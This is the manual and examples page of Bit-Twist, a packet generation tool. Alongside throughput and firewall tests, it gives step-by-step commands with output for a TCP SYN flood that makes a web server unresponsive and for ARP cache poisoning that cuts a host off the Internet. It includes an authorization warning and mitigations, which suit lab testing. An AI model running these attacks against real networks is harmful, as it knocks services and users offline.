Home News Documentation Benchmark Contact

Bit-Twist Manual Pages

Listed below are HTML manual pages converted directly from Bit-Twist man pages:

Some descriptions in the manual pages may be irrelevant for Windows system. However, all the described options should work as intended.

Examples

WARNING: WE HAVE FULL ADMINISTRATIVE RIGHTS TO ALL SYSTEMS USED IN THE DEMONSTRATIONS BELOW. IF YOU INTEND TO REPLICATE ANY OF THESE DEMONSTRATIONS, IT IS CRUCIAL TO ENSURE THAT YOU HAVE FULL ADMINISTRATIVE RIGHTS TO ALL THE INVOLVED SYSTEMS. ANY ATTEMPT TO APPLY ANY PART OF THESE DEMONSTRATIONS ON SYSTEMS WHERE YOU DO NOT HAVE EXPLICIT FULL ADMINISTRATIVE RIGHTS IS STRICTLY PROHIBITED AND MAY RESULT IN SEVERE LEGAL CONSEQUENCES.

Example 1: Throughput testing

In this example, we will illustrate steps to generate and send ICMP echo request packets at 1 Gbps line rate from source host X to destination host Y within a local area network. Tools required in this example are bittwist, bittwiste, and tcpdump.

X, source host IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, destination host IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [X] Create a pcap file containing an ICMP echo request packet with the correct source and destination MAC addresses: $ bittwiste -I icmp -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: icmp (ICMPv4 header template) output file: 1.pcap 1 packets (82 bytes) written

2. [X] Update the IP header to contain the correct source and destination IP addresses: $ bittwiste -I 1.pcap -O 2.pcap -T ip -s 192.168.1.10 -d 192.168.1.20 input file: 1.pcap output file: 2.pcap 1 packets (82 bytes) written

3. [X] Add 0x00 bytes of payload to fill the ICMP packet up to an MTU of 1500 bytes. This step is optional, but it helps reduce the overhead of sending a large number of small packets in quick succession, which may impact our target throughput. Note that `$(printf '0%.0s' {1..3000})` is a bash method to print 3000 '0's: $ bittwiste -I 2.pcap -O 3.pcap -X $(printf '0%.0s' {1..3000}) -L 4 -T icmp input file: 2.pcap output file: 3.pcap 1 packets (1554 bytes) written

4. [X] Send the packet once as an initial test. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 3.pcap sending packets through en1 trace file: 3.pcap sent = 1 packets, 12112 bits, 1514 bytes throughput = 34482 pps, 417.6552 Mbps, 0.4177 Gbps elapsed time = 0.000029 seconds

5. [Y] Use tcpdump (we should leave tcpdump running on destination host prior to step 4 above) to check that the destination host is receiving the ICMP echo request and returning an ICMP echo reply: $ sudo tcpdump -n -i 1 'icmp' tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on en1, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:32:24.592116 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:32:24.592160 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480

6. [X] Now that we know the packet is successfully getting through, let's send the same packet repeatedly at a rate of 1 Gbps. We will terminate the sending process after sending 1 million packets: $ sudo bittwist -i 1 -l 1000000 -r 1000 3.pcap sending packets through en1 trace file: 3.pcap sent = 1000000 packets, 12112000000 bits, 1514000000 bytes throughput = 78945 pps, 956.1897 Mbps, 0.9562 Gbps elapsed time = 12.666943 seconds

7. [Y] As step 6 progresses, we should be able to observe a continuous stream of tcpdump output as shown below on destination host: 15:37:29.170632 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170633 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170633 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170634 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170636 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480 15:37:29.170639 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480 15:37:29.170641 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480 15:37:29.170643 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480

The example above demonstrates how to generate and send ICMP echo request packets at a line rate of 1 Gbps within a local area network. By using tools like bittwist, bittwiste, and tcpdump, we were able to create and modify the packets, add payload for optimal transmission, and send them to the destination host. Such techniques and procedures are commonly employed for throughput testing purposes.

Example 2: Firewall testing

In this example, we will generate a set of IPv4 packets that include protocols not permitted by the firewall configuration on the destination host. Subsequently, we will verify the proper functioning of the firewall by monitoring its log output for packet drops. Tools required in this example are bittwist and bittwiste.

X, source host IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, destination host (nftables firewall) IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [Y] The destination host has the following firewall configuration to accept only IPv4 packets with TCP, UDP, or ICMP protocols: flush ruleset table inet filter { chain input { <truncated> ip protocol != {tcp, udp, icmp} log prefix "protocol-dropped " drop <truncated> drop } }

2. [X] Create a pcap file containing an IP packet with the correct source and destination MAC addresses: $ bittwiste -I ip -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: ip (IPv4 header template) output file: 1.pcap 1 packets (74 bytes) written

3. [X] Update the IP header to contain the correct source and destination IP addresses. In the same command, we will also repeat the packet for 100,000 times with each packet containing a random protocol number. Note that we are using `-P 1` to seed the random number generator with a fixed integer to allow for repeatable testing: $ bittwiste -I 1.pcap -O 2.pcap -P 1 -N 100000 -T ip -s 192.168.1.10 -d 192.168.1.20 -p rand input file: 1.pcap output file: 2.pcap 100001 packets (5000074 bytes) written Optional: Let's review the generated packets before the send. Note the random protocol numbers from the first 3 packets in the trace file: $ tcpdump -n -c 3 -r 2.pcap reading from file 2.pcap, link-type EN10MB (Ethernet) 01:10:39.422956 IP 192.168.1.10 > 192.168.1.20: ip-proto-66 0 01:10:39.422956 IP 192.168.1.10 > 192.168.1.20: ip-proto-39 0 01:10:39.422956 IP 192.168.1.10 > 192.168.1.20: ip-proto-37 0

4. [X] Send the IP packets at a rate of 1 packet per second, so that we can observe the live firewall log output more easily. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 -p 1 2.pcap sending packets through en1 trace file: 2.pcap

5. [Y] Monitor the firewall log output on the destination host to confirm that the packets are being dropped correctly: $ tail -f /var/log/syslog <truncated> SRC=192.168.1.10 DST=192.168.1.20 LEN=20 TOS=0x00 PREC=0x00 TTL=64 ID=12930 DF PROTO=66 <truncated> SRC=192.168.1.10 DST=192.168.1.20 LEN=20 TOS=0x00 PREC=0x00 TTL=64 ID=12930 DF PROTO=39 <truncated> SRC=192.168.1.10 DST=192.168.1.20 LEN=20 TOS=0x00 PREC=0x00 TTL=64 ID=12930 DF PROTO=37

The example above demonstrates a firewall testing scenario where a destination host is subjected to a set of IPv4 packets containing protocols not allowed by its firewall rules. The testing methodology helps ensure the correctness of the firewall rules in filtering and protecting the network against unauthorized protocols.

Example 3: TCP SYN flood

In this example, we will demonstrate TCP SYN flood attack that will result in the destination host with Nginx web server and all its services to become irresponsive. Tools required in this example are bittwist and bittwiste.

This is a type of denial-of-service attack where an attacker overwhelms a destination host by sending a large number of TCP connection requests, consuming server resources and rendering it unable to handle legitimate requests.

X, attacker IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, victim (Nginx web server) IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [X] Create a pcap file containing a TCP SYN packet with the correct source and destination MAC addresses: $ bittwiste -I tcp -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: tcp (IPv4 TCP header template) output file: 1.pcap 1 packets (114 bytes) written

2. [X] Update the IP header to contain the correct source and destination IP addresses: $ bittwiste -I 1.pcap -O 2.pcap -T ip -s 192.168.1.10 -d 192.168.1.20 input file: 1.pcap output file: 2.pcap 1 packets (114 bytes) written

3. [X] Repeat the packet for 100,000 times and update the TCP header for each to contain random source port and random sequence number: $ bittwiste -I 2.pcap -O 3.pcap -N 100000 -T tcp -s rand -d 80 -q rand input file: 2.pcap output file: 3.pcap 100001 packets (9000114 bytes) written

4. [X] Send the TCP SYN packets. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 -s 1514 -l 0 -r 0 3.pcap sending packets through en1 trace file: 3.pcap

5. [Y] SSH into the Nginx web server (we should do this prior to step 4 above) and use netstat to observe the incoming TCP SYN packets. Notice that it won't be long before we see the timeout message as the server becomes irresponsive due to the overwhelming number of incoming TCP SYN packets being received pending processing: $ watch -n 1 'netstat -atn' Every 1.0s: netstat -atn Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 192.168.1.20:80 192.168.1.10:26128 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:53078 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:53845 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:6590 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:23915 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:1276 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:52456 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:24402 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:12122 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:30038 SYN_RECV <truncated> tcp 0 0 192.168.1.20:80 192.168.1.10:57615 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:54535 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:3437 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:30824 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:35470 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:29305 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:13177 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:49124 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:20090 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:13557 SYN_RECV tcp Timeout, server 192.168.1.20 not responding.

6. [X] Stop (CTRL+C) the send to allow the destination host to restore its services: $ sudo bittwist -i 1 -s 1514 -l 0 -r 0 3.pcap sending packets through en1 trace file: 3.pcap ^C sent = 2255091 packets, 27313662192 bits, 3414207774 bytes throughput = 32784 pps, 397.0867 Mbps, 0.3971 Gbps elapsed time = 68.785133 seconds

The example above showcases the potential impact of overwhelming a destination host with a large number of TCP connection requests. The attack effectively consumes server resources and renders the host and its services unresponsive.

An effective mitigation for TCP SYN flood attack is to implement TCP SYN cookies to allow servers to handle a large number of connection requests without maintaining excessive half-open connections. On a Linux system, `sysctl -n net.ipv4.tcp_syncookies` should output 1 to indicate that TCP SYN cookies protection is already enabled. If not, you may add `net.ipv4.tcp_syncookies=1` in your /etc/sysctl.conf followed by `sysctl -p` to enable the protection.

Example 4: ARP cache poisoning

In this example, we will deliberately disrupt Y's access to the Internet by poisoning its ARP cache. Tools required in this example are bittwist and bittwiste.

X, attacker (Linux) IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, victim (Windows) IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb Z, gateway (ADSL router modem with 4-port switch) IP = 192.168.1.1, MAC = 00:00:00:cc:cc:cc [X] | [Z]---[Internet] | [Y]

1. [X] Create a pcap file containing an ARP packet with the correct source and destination MAC addresses: $ bittwiste -I arp -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: arp (ARP header template) output file: 1.pcap 1 packets (82 bytes) written

2. [X] Update the ARP header to contain a fake ARP reply, i.e. with a non-existent sender MAC address (00:00:00:dd:dd:dd), destined for Y from Z: $ bittwiste -I 1.pcap -O 2.pcap -T arp -o 2 -s 00:00:00:dd:dd:dd -p 192.168.1.1 -t 00:00:00:bb:bb:bb -q 192.168.1.20 input file: 1.pcap output file: 2.pcap 1 packets (82 bytes) written

3. [Y] Here is the current Y's ARP cache as printed on its command prompt before the attack: C:\>arp -a Interface: 192.168.1.20 --- 0x2 Internet Address Physical Address Type 192.168.1.1 00-00-00-cc-cc-cc dynamic

4. [X] Send the fake ARP reply packet. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 2.pcap sending packets through en1 trace file: 2.pcap sent = 1 packets, 336 bits, 42 bytes throughput = 38461 pps, 12.9231 Mbps, 0.0129 Gbps elapsed time = 0.000026 seconds

5. [Y] Here is the current Y's ARP cache as printed on its command prompt after the attack: C:\>arp -a Interface: 192.168.1.20 --- 0x2 Internet Address Physical Address Type 192.168.1.1 00-00-00-dd-dd-dd dynamic

From now on, Y will attempt to access the Internet through Z of which to its current knowledge, is located at 00:00:00:dd:dd:dd, a non-existent MAC address on the network. Consequently, Y will be unable to establish a connection with Z or access the Internet.

The example above illustrates how easily one can mount a surprisingly simple yet highly impactful attack that can bring an entire network down. Fortunately, ARP poisoning is limited to a single LAN, and safeguarding your network against this attack is a straightforward task by utilizing a static ARP cache.

Example 5: Verifying max. throughput

In this example, we demonstrate the process of verifying the maximum throughput achievable by your system using a single running instance of bittwist.

The resulting output shows the single thread performance of bittwist on a Linux system equipped with an Intel Core i7-7700K CPU running at 4498 MHz. Prior to the test, we disable any active firewall software, e.g. nftables, and temporarily turn off the logging of martian packets that may be generated during the test by executing the command `sudo sysctl -w net.ipv4.conf.all.log_martians=0`.

1. Generate 10 million 1500 MTU loopback UDP packets. Note that `$(printf '0%.0s' {1..3000})` is a bash method to print 3000 '0's: $ bittwiste -I udp -O 1.pcap -X $(printf '0%.0s' {1..3000}) -N 10000000 -L 4 -T udp input file: udp (IPv4 UDP header template) output file: 1.pcap 10000001 packets (15300001554 bytes) written

2. Send the packets without rate limit onto the loopback interface. We use `taskset --cpu-list 0` to pin bittwist to the first CPU. `nice -20` gives bittwist the highest process scheduling priority: $ sudo taskset --cpu-list 0 nice -20 bittwist -i lo -r 0 1.pcap sending packets through lo sent = 10000001 packets, 121120012112 bits, 15140001514 bytes throughput = 1065058 pps, 12899.9824 Mbps, 12.9000 Gbps elapsed time = 9.389161 seconds

Related RFCs

  • RFC 894 - A Standard for the Transmission of IP Datagrams over Ethernet Networks
  • RFC 826 - An Ethernet Address Resolution Protocol
  • RFC 792 - Internet Control Message Protocol
  • RFC 791 - Internet Protocol
  • RFC 9293 - Transmission Control Protocol (TCP)
  • RFC 768 - User Datagram Protocol
  • RFC 8200 - Internet Protocol, Version 6 (IPv6) Specification
  • RFC 4443 - Internet Control Message Protocol (ICMPv6) Specification
  • RFC 2474 - Definition of the Differentiated Services Field (DS Field)
  • RFC 4594 - Configuration Guidelines for DiffServ Service Classes
  • RFC 3168 - The Addition of Explicit Congestion Notification (ECN) to IP
  • RFC 6437 - IPv6 Flow Label Specification
  • RFC 4632 - Classless Inter-domain Routing (CIDR)
  • RFC 4291 - IP Version 6 Addressing Architecture
  • RFC 2544 - Benchmarking Methodology for Network Interconnect Devices

If you are interested, the complete list of RFCs are available officially from RFC Editor.

Resources

Related Projects

  • Tcpdump

    tcpdump is a common computer network debugging tool that runs under the command line. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. It was originally written by Van Jacobson, Craig Leres and Steven McCanne who were, at the time, working in the Lawrence Berkeley Laboratory Network Research Group.

  • Npcap

    Npcap is the Nmap Project's packet capture (and sending) library for Microsoft Windows. For 14 years, WinPcap was the standard libpcap package for Windows. But when Windows 10 was released without NDIS 5 support, WinPcap failed to keep up, leaving users wondering what to do. Fortunately, the Nmap Project stepped up and created Npcap, converting the original WinPcap code to the new NDIS 6 API, giving users a fast and completely compatible alternative to WinPcap for Windows 10.

  • Wireshark

    Wireshark is the world's foremost network protocol analyzer. It lets you see what's happening on your network at a microscopic level. It is the de facto (and often de jure) standard across many industries and educational institutions.

  • Scapy

    Scapy is a powerful interactive packet manipulation library written in Python. Scapy is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more.

  • Tcpreplay

    Tcpreplay is a suite of free Open Source utilities for editing and replaying previously captured network traffic. Originally designed to replay malicious traffic patterns to Intrusion Detection/Prevention Systems, it has seen many evolutions including capabilities to replay to web servers.

© 2006 - 2024 Addy Yeow

sourceforge.net/projects/bittwist/